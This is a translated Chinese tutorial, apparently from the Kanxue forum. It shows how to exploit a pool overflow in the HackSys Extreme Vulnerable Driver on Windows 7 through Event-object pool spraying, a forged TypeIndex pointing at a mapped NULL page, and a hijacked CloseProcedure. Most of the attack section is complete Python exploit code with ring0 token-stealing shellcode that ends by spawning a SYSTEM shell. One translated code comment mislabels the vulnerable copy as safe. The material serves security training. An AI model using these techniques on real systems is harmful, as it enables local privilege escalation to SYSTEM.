Windows 核心 利用教程 4 池風水 -> 池溢位

Editor發表於2018-01-15


前言

這一系列文章源於作者學習HackSystem開設課程--windows 核心利用訓練課程的學習筆記,到目前為止作者已釋出4篇:

1.環境搭建2.棧溢位3.任意記憶體覆蓋4.池溢位

概要

我們已經在上一章探討了任意記憶體覆蓋漏洞,在本章我們討論另一個漏洞,池溢位。簡單來說,就是池緩衝區的越界。這部分可能會比較難,我們將深入探討如何通過修改池,從而控制應用程式流,確保每次都可靠地指向我們的shellcode地址。所以花點時間好好理解我之前文章中的概念,之後再來嘗試利用本文中的漏洞。

再次感謝hacksysteam的驅動程式。

池風水

在我們深入探討池溢位這個主題前, 我們需要先了解下池的基本概念, 如何根據需要操縱它。 Tarjei Mandt寫了一篇很好的關於這個主題的文章,強烈建議在繼續閱讀本文前先瀏覽Tarjei Mandt 的文章,因為你需要對池概念有一個紮實的理解。

核心池類似於Windows 中的堆, 因為它的作用也是用來動態分配記憶體。 就像堆噴修改正常應用程式的堆一樣,我們需要在核心領域找到一種辦法來修改記憶體池,以便在記憶體區域精確地呼叫我們的shellcode。 理解記憶體分配器的概念以及如何影響池分配和釋放機制相當重要。

至於我們的 HEVD 驅動, 有漏洞的使用者緩衝區被分配在非分頁池,所以我們需要找到一種方法來修改非分頁池。 Windows 提供了一種Event物件, 該物件儲存在非分頁池中,可以使用CreateEvent API 來建立:

HANDLE WINAPI CreateEvent(

_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,

_In_    BOOL  bManualReset,

_In_    BOOL  bInitialState,

_In_opt_ LPCTSTR              lpName

);

在這裡我們需要用這個API建立兩個足夠大的Event物件陣列,然後通過使用CloseHandle API 釋放某些Event 物件,從而在分配的池塊中造成空隙,經合併形成更大的空閒塊:

BOOL WINAPI CloseHandle(

_In_ HANDLE hObject

);

在這些空閒塊中,我們需要將有漏洞的使用者緩衝區插進去,以便每次準確地覆蓋正確的記憶體位置。因為我們會破壞Event物件的相鄰頭部,以便跳轉到包含shellcode的地址。下面用一個粗略的圖表來展示下我們正要做的工作:

在這之後,我們會把指標指向shellcode,這樣就可以通過操縱損壞的池頭部來呼叫它。 我們偽造一個OBJECT_TYPE頭,覆蓋指向OBJECT_TYPE_INITIALIZER中的一個過程的指標。

分析

為了便於分析漏洞, 先看下PoolOverflow.c 檔案:

__try {

DbgPrint("[+] Allocating Pool chunk\n");

// 分配池塊

KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

(SIZE_T)POOL_BUFFER_SIZE,

(ULONG)POOL_TAG);

if (!KernelBuffer) {

// Unable to allocate Pool chunk

DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;

return Status;

}

else {

DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));

DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

}

// 驗證緩衝區是否駐留在使用者模式下

ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);

DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);

DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE

// 安全注意: 因為開發者傳遞的size大小 等同於  RtlCopyMemory()/memcpy()分配的池塊大小,所以是安全的,因此沒有溢位。

RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);

#else

DbgPrint("[+] Triggering Pool Overflow\n");

// 漏洞注意:這是一個基於池的溢位

// 因為沒有檢查開發者傳遞的size大小 是否大於或者等於  RtlCopyMemory()/memcpy()分配的池塊大小,所以是安全的,因此沒有溢位

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

似乎看起來有點複雜,但是這裡的漏洞很明顯,在最後一行開發人員直接傳遞值而沒有驗證大小,這導致了一個基於池的溢位漏洞。

我們將按照上一篇文章中的描述找到這個漏洞的IOCTL號:

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)

計算得出 IOCTL 為 0x22200f。

用IDA分析一下驅動中的 TriggerPoolOverflow 函式:

Windows 核心 利用教程 4 池風水 -> 池溢位

我們用標籤“Hack”指代有漏洞的緩衝區標記,長度為0x1f8(504)。由於現在有足夠的關於漏洞的資訊,讓我們直接跳到有趣的部分,利用它。

利用

讓我們從基本的框架開始, IOCTL 為 0x22200f。

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

psapi = windll.Psapi

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle"

sys.exit(-1)

buf = "A"*100

bufLength = len(buf)

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":

main()

Windows 核心 利用教程 4 池風水 -> 池溢位

我們正在觸發池溢位IOCTL,可以看到標籤“Hack”,大小為0x1f8(504),嘗試下賦給UserBuffer 0x1f8個位元組的大小。

Windows 核心 利用教程 4 池風水 -> 池溢位

我們現在不應該破壞相鄰的記憶體塊,因為現在UserBuffer的值為邊界值,來分析一下池:

Windows 核心 利用教程 4 池風水 -> 池溢位

可以看到使用者緩衝區被完美地分配了,結束地址為下一個池塊起始地址:

Windows 核心 利用教程 4 池風水 -> 池溢位

溢位會是災難性的,並且將直接導致系統藍屏崩潰,破壞了相鄰的池塊頭部。

Windows 核心 利用教程 4 池風水 -> 池溢位

在這裡很有趣的一件事是,我們如何能夠通過溢位控制相鄰的頭部。我們利用的這個漏洞可以以修改池的方式來使得池不再隨機化。那麼我此前討論的 CreateEvent API 可以勝任這個工作,它的大小為0x40個位元組,正好可以匹配池的大小0x200個位元組。

我們會噴射大量Event物件,把它們的控制程式碼儲存在陣列中,看下如何影響我們的池:

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle."

sys.exit(0)

buf = "A"*504

buf_ad = id(buf) + 20

spray_event1 = spray_event2 = []

for i in xrange(10000):

spray_event1.append(kernel32.CreateEventA(None, False, False, None))

for i in xrange(5000):

spray_event2.append(kernel32.CreateEventA(None, False, False, None))

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

if __name__ == "__main__":

main()

我們的Event物件被噴射到非分頁池中,現在我們需要在這些記憶體塊創造一些空隙,然後把我們有漏洞的Hack緩衝區重新分配到這些空隙中。在重新分配有漏洞的緩衝區後,我們需要破壞相鄰的池頭部,以指向我們的shellcode地址。Event物件的大小為0x40個位元組(0x38+0x8),包括池頭部。

來分析一下頭部:

Windows 核心 利用教程 4 池風水 -> 池溢位

由於Event物件被噴射到非分頁池中,所以我們可以將這些值加到緩衝區末尾,來實現利用。但是,簡單這樣做是行不通的,我們來研究下頭部的資料結構,再稍作修改:

Windows 核心 利用教程 4 池風水 -> 池溢位

我們感興趣的部分是TypeIndex ,它實際上是指標陣列中的偏移量大小,它定義了Windows所支援的每個物件的OBJECT_TYPE,來分析一下:

Windows 核心 利用教程 4 池風水 -> 池溢位

這看起來可能有點複雜,但我已經標記出了重要的部分:

第一個指標是 00000000,在Windows 7下非常重要(下面解釋);

下一個突出顯示的指標是 85f05418, 這是從0xc開始的偏移量;

分析到這,可以看出這是Event物件型別;

現在最有趣的是偏移量0x28 處的TypeInfo成員:

這個成員的最後部分有一些程式呼叫,我們可以從提供的程式中挑選以供己用,在這選擇0x038處的 CloseProcedure

CloseProcedure 的偏移量為 0x28 + 0x38 = 0x60

我們會覆蓋0x60處的這個指標,讓它指向我們的shellcode地址,然後呼叫CloseProcedure方法,從而最終執行我們的shellcode。

我們的目標是把TypeIndex的偏移量從0xc改為0x0,因為第一個指標是空指標,在Windows 7 中有一個漏洞,可以呼叫 NtAllocateVirtualMemory來對映到Null頁面:

NTSTATUS ZwAllocateVirtualMemory(

_In_    HANDLE    ProcessHandle,

_Inout_ PVOID    *BaseAddress,

_In_    ULONG_PTR ZeroBits,

_Inout_ PSIZE_T  RegionSize,

_In_    ULONG    AllocationType,

_In_    ULONG    Protect

);

然後呼叫WriteProcessMemory 覆蓋0x60處的指標,指向shellcode地址:

BOOL WINAPI WriteProcessMemory(

_In_  HANDLE  hProcess,

_In_  LPVOID  lpBaseAddress,

_In_  LPCVOID lpBuffer,

_In_  SIZE_T  nSize,

_Out_ SIZE_T  *lpNumberOfBytesWritten

);

把所有的內容整合一下,python指令碼大體如下:

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle."

sys.exit(0)

ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)

shellcode = "\x90" * 8

shellcode_address = id(shellcode) + 20

kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(shellcode_address)), 0x4, byref(c_ulong()))

buf = "A" * 504

buf += struct.pack("L", 0x04080040)

buf += struct.pack("L", 0xEE657645)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000040)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00080000)

buf_ad = id(buf) + 20

spray_event1 = spray_event2 = []

for i in xrange(10000):

spray_event1.append(kernel32.CreateEventA(None, False, False, None))

for i in xrange(5000):

spray_event2.append(kernel32.CreateEventA(None, False, False, None))

for i in xrange(0, len(spray_event2), 16):

for j in xrange(0, 8, 1):

kernel32.CloseHandle(spray_event2[i+j])

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

if __name__ == "__main__":

main()

Windows 核心 利用教程 4 池風水 -> 池溢位

有漏洞的緩衝區現在位於我們建立的Event物件之間的空隙中。

Windows 核心 利用教程 4 池風水 -> 池溢位

TypeIndex由 0xc 修改為 0x0

Windows 核心 利用教程 4 池風水 -> 池溢位

shellcode地址佈置完成!

現在,只需要呼叫 Closeprocedure,在 虛擬記憶體中 載入shellcode, shellcode應該完美執行。最終版本的exploit如下:

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():

kernel32 = windll.kernel32

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:

print "*** Couldn't get Device Driver handle."

sys.exit(0)

#定義 ring0級的shellcode , 載入.

shellcode = bytearray(

"\x90\x90\x90\x90"  # NOP Sled

"\x60"  # pushad

"\x64\xA1\x24\x01\x00\x00"  # mov eax, fs:[KTHREAD_OFFSET]

"\x8B\x40\x50"  # mov eax, [eax + EPROCESS_OFFSET]

"\x89\xC1"  # mov ecx, eax (Current _EPROCESS structure)

"\x8B\x98\xF8\x00\x00\x00"  # mov ebx, [eax + TOKEN_OFFSET]

"\xBA\x04\x00\x00\x00"  # mov edx, 4 (SYSTEM PID)

"\x8B\x80\xB8\x00\x00\x00"  # mov eax, [eax + FLINK_OFFSET]

"\x2D\xB8\x00\x00\x00"  # sub eax, FLINK_OFFSET

"\x39\x90\xB4\x00\x00\x00"  # cmp [eax + PID_OFFSET], edx

"\x75\xED"  # jnz

"\x8B\x90\xF8\x00\x00\x00"  # mov edx, [eax + TOKEN_OFFSET]

"\x89\x91\xF8\x00\x00\x00"  # mov [ecx + TOKEN_OFFSET], edx

"\x61"  # popad

"\xC2\x10\x00"  # ret 16

)

ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40))

buff = (c_char * len(shellcode)).from_buffer(shellcode)

kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))

print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr))

#分配Null頁面,虛擬記憶體地址: 0x0000 - 0x1000

#基址為0x1

#分配0x100(256)個位元組大小的記憶體塊

print "\n[+] Allocating/Mapping NULL page..."

null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)

if null_status != 0x0:

print "\t[+] Failed to allocate NULL page..."

sys.exit(-1)

else:

print "\t[+] NULL Page Allocated"

#將 ring0級 指標寫入Null 頁面,為了呼叫CloseProcedure @ 0x60

print "\n[+] Writing ring0 pointer {0} in location 0x60...".format(hex(ptr))

if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(ptr)), 0x4, byref(c_ulong())):

print "\t[+] Failed to write at 0x60 location"

sys.exit(-1)

#定義使用者緩衝區

#長度大小 0x1f8 (504), 破壞相鄰池頭部指向Null 頁面

buf = "A" * 504

buf += struct.pack("L", 0x04080040)

buf += struct.pack("L", 0xEE657645)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000040)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000001)

buf += struct.pack("L", 0x00000000)

buf += struct.pack("L", 0x00080000)

buf_ad = id(buf) + 20

#將Event物件噴射到非分頁池,創造兩個足夠大的(10000和 5000)的塊。

spray_event1 = spray_event2 = []

print "\n[+] Spraying Non-Paged Pool with Event Objects..."

for i in xrange(10000):

spray_event1.append(kernel32.CreateEventA(None, False, False, None))

print "\t[+] Sprayed 10000 objects."

for i in xrange(5000):

spray_event2.append(kernel32.CreateEventA(None, False, False, None))

print "\t[+] Sprayed 5000 objects."

#在噴射區域造成空洞,以便將使用者緩衝區分配到該地址

print "\n[+] Creating holes in the sprayed region..."

for i in xrange(0, len(spray_event2), 16):

for j in xrange(0, 8, 1):

kernel32.CloseHandle(spray_event2[i+j])

kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

#通過釋放Event 物件 關閉控制程式碼,最終執行shellcode

print "\n[+] Calling the CloseProcedure..."

for i in xrange(0, len(spray_event1)):

kernel32.CloseHandle(spray_event1[i])

for i in xrange(8, len(spray_event2), 16):

for j in xrange(0, 8, 1):

kernel32.CloseHandle(spray_event2[i + j])

print "\n[+] nt authority\system shell incoming"

Popen("start cmd", shell=True)

if __name__ == "__main__":

main()

Windows 核心 利用教程 4 池風水 -> 池溢位

得到系統管理員許可權:

Windows 核心 利用教程 4 池風水 -> 池溢位



本文由看雪翻譯小組 fyb波 編譯,來源rootkits  轉載請註明來自看雪社群

相關文章